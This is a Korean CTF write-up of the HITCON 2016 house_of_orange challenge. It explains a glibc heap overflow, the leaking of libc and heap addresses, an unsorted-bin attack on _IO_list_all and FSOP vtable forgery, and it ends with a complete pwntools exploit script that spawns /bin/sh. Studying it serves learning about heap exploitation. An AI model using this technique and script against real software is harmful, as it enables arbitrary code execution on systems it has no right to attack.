HITCON 2016 house_of_orange
일단 기본적으로 힙 오버플로우 취약점이있다.
그것을 이용하여서 house of orange기법을 써서 푸는문제인데 기법만 이해했으면 쉬운문제인것같다.
사이즈를 0X20FA1 이라면 0xfa1로 만들어주면 탑 청크 사이즈를 조작했을때 오류가 나지 않는다.
탑 청크사이즈가 제대로 정렬되어있는지 확인을하는곳 때문에 이상하게 조작하면 오류가 난다.
그리고 top_chunk보다 큰 사이즈를 할당하면 sysmalloc를 하는데 이때 malloc하는 값이 mmap 크기만큼 크지 않으니 할당할려던 청크를 free를 시키고 탑 청크를 새로 배치한다.
house of orange를 할때 라이브러리는 물론 힙 주소도 필요하다.
힙 주소는 large chunk에는 힙 주소를 가르키고있는 fd_nextsize와 bk_nextsize가 생기기때문에 이것을 이용하여서 힙 주소를 릭을 할수있다.
#define fflush(s) _IO_flush_all_lockp
malloc_printerr를 쭈욱 타고 들어가다보면 ffulsh를 따로 정의해놓은것이있다.
이것을 이용하여서 _io_list_all를 변조하는게 주 목적이다.
_io_list_all은 malloc에서 heap 검사중에 오류가 낫을때 사용되는 함수다.
https://code.woboq.org/userspace/glibc/libio/genops.c.html#_IO_flush_all_lockp
이 함수를 보면 fp파일 포인터에 _io_list_all을 집어넣고 링크 드리스트 형식으로 돌아가는 코드가 보일것이다.
저 사이트에서 _io_list_all를 쭈욱 타고 들어가다보면 _io_list_all에 stderr를 넣는걸 볼 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 | 758 for (fp = (_IO_FILE *) _IO_list_all; fp != NULL; fp = fp->_chain) 759 { 760 run_fp = fp; 761 if (do_lock) 762 _IO_flockfile (fp); 763 764 if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) 765 || (_IO_vtable_offset (fp) == 0 766 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr 767 > fp->_wide_data->_IO_write_base)) 768 ) 769 && _IO_OVERFLOW (fp, EOF) == EOF) | cs |
이 부분이 가장 중요한 부분이다.
mode > 0 ptr, base >, < 등 구문들이 true라면 _IO_OVERFLOW가 실행될텐데
_IO_OVERFLOW는 _IO_FILE_JUMP를 이용하여서 JUMP가 되는 함수 중 하나다.
그렇기 때문에 _IO_JUMP를 조작해주고 OVERFLOW를 실행하기위한 조건들만 만족시켜준다면 쉘을 딸수있을것이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 | 215 struct _IO_wide_data 216 { 217 wchar_t *_IO_read_ptr; /* Current read pointer */ 218 wchar_t *_IO_read_end; /* End of get area. */ 219 wchar_t *_IO_read_base; /* Start of putback+get area. */ 220 wchar_t *_IO_write_base; /* Start of put area. */ 221 wchar_t *_IO_write_ptr; /* Current put pointer. */ 222 wchar_t *_IO_write_end; /* End of put area. */ 223 wchar_t *_IO_buf_base; /* Start of reserve area. */ 224 wchar_t *_IO_buf_end; /* End of reserve area. */ 225 /* The following fields are used to support backing up and undo. */ 226 wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */ 227 wchar_t *_IO_backup_base; /* Pointer to first valid character of 228 backup area */ 229 wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */ 230 231 __mbstate_t _IO_state; 232 __mbstate_t _IO_last_state; 233 struct _IO_codecvt _codecvt; 234 235 wchar_t _shortbuf[1]; 236 237 const struct _IO_jump_t *_wide_vtable; 238 }; 239 #endif 240 241 struct _IO_FILE { 242 int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ 243 #define _IO_file_flags _flags 244 245 /* The following pointers correspond to the C++ streambuf protocol. */ 246 /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ 247 char* _IO_read_ptr; /* Current read pointer */ 248 char* _IO_read_end; /* End of get area. */ 249 char* _IO_read_base; /* Start of putback+get area. */ 250 char* _IO_write_base; /* Start of put area. */ 251 char* _IO_write_ptr; /* Current put pointer. */ 252 char* _IO_write_end; /* End of put area. */ 253 char* _IO_buf_base; /* Start of reserve area. */ 254 char* _IO_buf_end; /* End of reserve area. */ 255 /* The following fields are used to support backing up and undo. */ 256 char *_IO_save_base; /* Pointer to start of non-current get area. */ 257 char *_IO_backup_base; /* Pointer to first valid character of backup area */ 258 char *_IO_save_end; /* Pointer to end of non-current get area. */ 259 260 struct _IO_marker *_markers; 261 262 struct _IO_FILE *_chain; 263 264 int _fileno; 265 #if 0 266 int _blksize; 267 #else 268 int _flags2; 269 #endif 270 _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ 271 272 #define __HAVE_COLUMN /* temporary */ 273 /* 1+column number of pbase(); 0 is unknown. */ 274 unsigned short _cur_column; 275 signed char _vtable_offset; 276 char _shortbuf[1]; 277 278 /* char* _save_gptr; char* _save_egptr; */ 279 280 _IO_lock_t *_lock; 281 #ifdef _IO_USE_OLD_IO_FILE 282 }; 283 284 struct _IO_FILE_complete 285 { 286 struct _IO_FILE _file; 287 #endif 288 #if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001 289 _IO_off64_t _offset; 290 # if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T 291 /* Wide character stream stuff. */ 292 struct _IO_codecvt *_codecvt; 293 struct _IO_wide_data *_wide_data; 294 struct _IO_FILE *_freeres_list; 295 void *_freeres_buf; 296 # else 297 void *__pad1; 298 void *__pad2; 299 void *__pad3; 300 void *__pad4; 301 # endif 302 size_t __pad5; 303 int _mode; 304 /* Make sure we don't get into trouble again. */ 305 char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)]; 306 #endif 307 }; | cs |
우리가 주로봐야될 구조체들이다.
_IO_LIST_ALL주소에 _IO_2_1_stderr를 넣었기때문에 쭈욱들어가면 stderr함수를 만나게된다.
맨 처음 값이 매직값이고 다른것은 위쪽 구조체를 참고하면되는데 0x***2620부분이 stdout이다.
그렇게되면 저 주소 부분이 fd역할을 하는 _chain이라는것을 알 수 있다. 구조체 분석해도 알수있음
0x***160 부분이 wide_data부분이다. 저 주소 부분을 힙 주소로 변경하여서 ptr이 base보다 크게끔 주소에 값을 설정해주면된다.
_chain부분을 수정해서 풀수있는데 대충 플래그기준,64bit기준으로 _chain + 140정도에 _chain이 있다.
그럼 그쪽부분에는 smallbin이 저장되어있는곳이여서 smallbin에는 fastbin size도 저장을 할 수 있기때문에 그쪽 주소영역에 해당하는 index를 갖는 fast bin으로 unsorted bin의 주소를 변경해 주면 smallbin 에 값을넣을수있다.
일단 위 조건문을 만족시켜야된다.
위 부분이 wide 라면 + 24 다음 부분이 mod일것이다.
이렇게되면 wide_data를 주작해주고 그 아래 wide데이터 + 24 부분 mod부분을 수정해주고 _IO_FILE_JUMPS 부분을 조작하여서 io_overflow 부분을 system이나 one_shot 으로 덮어주면될것이다 !
0x00007ffff7dd06e0 = _IO_file_jumps
저 주소안에 + 24를 한 주소가 _io_overflow 부분이다 (나의 우분투 리눅스에서는)
그럼 _IO_FILE_JUMPS가 가르키는 주소에 + 24부분이 _io_overflow라고 생각을하고 실행을할것이다.
구조체값들은 이런식으로 바꿔주면 된다치는데.
unlink도 아니고 fastbin dup같은것도 아닌데 저 주소 부분을 무엇으로 덮나??
unsorted_bin으로 main_arena+88을 덮어줄수있다.(탑 청크 주소 저장) 그리고 그 뒤에 last_remainder,unsorted bin,small bin 이 있다.
우리는 _chain을 수정하여서 문제를 풀 수 있다.
_io_list_all를 main_arena + 88로 바꿔주면 64bit 기준으로 + 140? 주소 부분에 _chain주소가 될것이다.
smallbin에는 fastbin size도 저장이되기때문에 size를 저 _chain에 저장되게하는 index를 맞춰서 사이즈를 할당하여 주면 _chain을 내가 조작한 사이즈의 청크의 주소가 들어갈것이다.
그렇게하여서 그 힙 주소에 위 설명에 맞게 조작하여주면 문제를 풀 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 | from pwn import * p=process("./houseoforange") elf=ELF("./houseoforange") def build(size,name,price,color): p.recvuntil(': ') p.sendline("1") p.recvuntil(':') p.sendline(str(size)) p.recvuntil(':') p.sendline(name) p.recvuntil(':') p.sendline(str(price)) p.recvuntil(':') p.sendline(str(color)) print p.recvuntil('Finish') def see(): p.recvuntil(': ') p.sendline("2") def upgrade(size,name,price,color): p.recvuntil(': ') p.sendline("3") p.recvuntil(':') p.sendline(str(size)) p.recvuntil(':') p.sendline(name) p.recvuntil(':') p.sendline(str(price)) p.recvuntil(':') p.sendline(str(color)) build(24,"A"*23,1000,1) #1 upgrade(70,"A"*24+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0xfa1),1,1) #1 build(4000,"A"*7,1,1) #2 build(1024,"B"*7,1,1) #3 see() p.recvuntil("B"*7+"\n") main_arena = u64(p.recv(6)+"\x00\x00") - 88 - 1552 libc_base = main_arena - 0x3c4b20 _IO_list_all = libc_base + 0x3c5520 _IO_stdfile_2_lock = libc_base + 0x3c6770 _IO_wide_data_2 = libc_base + 0x3c4660 system = libc_base + 0x45390 print hex(main_arena) print hex(_IO_list_all) print hex(_IO_stdfile_2_lock) print hex(_IO_wide_data_2) print hex(system) upgrade(16,"B"*15,1,1) see() p.recvuntil("B"*15+"\n") heap = u64(p.recv(6)+"\x00\x00") - 0xc0 print "heap_base: "+hex(heap) fake_jump = heap + 0xd0 print "jump: "+hex(fake_jump) fake_vtable = p64(0)*9 fake_vtable += p64(0) #io_file_fd fake_vtable += p64(2) fake_vtable += "\xff"*8 fake_vtable += p64(0) fake_vtable += p64(_IO_stdfile_2_lock) fake_vtable += "\xff"*8 fake_vtable += p64(0) fake_vtable += p64(fake_jump+32) #wide_data fake_vtable += p64(0) #freeres_list fake_vtable += p64(0) #freeres_buf #5 fake_vtable += p64(0) #pad5 fake_vtable += p64(3) #mode fake_vtable += p64(0)*2 #no fake_vtable += p64(fake_jump) payload = p64(0) + p64(0) + p64(0) + p64(system) payload += p64(0)*3 #wide_data payload += p64(1) #write_base payload += p64(2) #write_ptr payload += "\x00"*(1024-len(payload)) payload += p64(0) payload += p32(0xdada) + p32(0x20) payload += p64(0) payload += p64(0) payload += "/bin/sh\00" #prev_size, io_file flag payload += p64(0x61) #size payload += p64(1) #fd payload += p64(_IO_list_all - 0x10) #bk -> unsorted bin attack -> io_list_all ptr -> main_arena payload += fake_vtable upgrade(len(payload)+1,payload,1,1) p.interactive() | cs |